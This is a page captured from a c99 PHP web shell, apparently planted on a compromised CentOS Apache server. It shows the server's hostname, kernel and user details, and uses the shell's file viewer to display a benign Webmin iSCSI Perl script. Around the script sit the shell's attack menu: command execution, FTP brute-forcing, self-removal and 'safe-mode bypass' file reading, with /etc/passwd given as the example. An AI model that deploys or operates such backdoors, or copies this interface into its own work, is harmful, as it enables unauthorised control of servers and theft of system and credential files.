!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/iscsi-client/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     list_conns.cgi (2.03 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Display all active connections, with an option to add a new one

use strict;
use warnings;
require './iscsi-client-lib.pl';
our (%text);

&ui_print_header(undef, $text{'conns_title'}, "");

my $conns = &list_iscsi_connections();
ref($conns) || &error(&text('conns_elist', $conns));
if (@$conns) {
    # Show current connections
    my @tds = ( "width=5" );
    my @links = ( &select_all_link("d"), &select_invert_link("d") );
    print &ui_form_start("delete_conns.cgi");
    print &ui_links_row(\@links);
    print &ui_columns_start(
        [ "", $text{'conns_ip'}, $text{'conns_sport'},
              $text{'conns_iface'}, $text{'conns_name'},
              $text{'conns_target'}, $text{'conns_username'},
              $text{'conns_device'} ],
        100, 0, \@tds);
    foreach my $c (@$conns) {
        print &ui_checked_columns_row([
            "<a href='view_conn.cgi?num=$c->{'num'}'>".
              $c->{'ip'}."</a>",
            $c->{'port'},
            $c->{'iface'},
            $c->{'name'},
            $c->{'target'},
            $c->{'username'} || "<i>$text{'conns_nouser'}</i>",
            $c->{'device'} ?
                "<a href='../fdisk/edit_disk.cgi?".
                  "device=$c->{'device'}'>$c->{'device'}</a>" :
                "<i>$text{'conns_nodevice'}</i>",
            ], \@tds, "d", $c->{'num'});
        }
    print &ui_columns_end();
    print &ui_links_row(\@links);
    print &ui_form_end([ [ undef, $text{'conns_delete'} ] ]);
    }
else {
    print "<b>$text{'conns_none'}</b><p>\n";
    }

# Show form to add
print &ui_form_start("add_form.cgi", "post");
print &ui_table_start($text{'conns_header'}, undef, 2);

# Server hostname or IP
print &ui_table_row($text{'conns_host'},
    &ui_textbox("host", undef, 40));

# Server port
print &ui_table_row($text{'conns_port'},
    &ui_opt_textbox("port", undef, 5, $text{'default'}." (3260)"));

# Interface to use
my $ifaces = &list_iscsi_ifaces();
if (ref($ifaces)) {
    print &ui_table_row($text{'conns_iface'},
        &ui_select("iface", undef,
               [ [ undef, "&lt;".$text{'conns_ifacedef'}."&gt;" ],
                 map { $_->{'name'} } @$ifaces ]));
    }

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'conns_start'} ] ]);

&ui_print_footer("", $text{'index_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--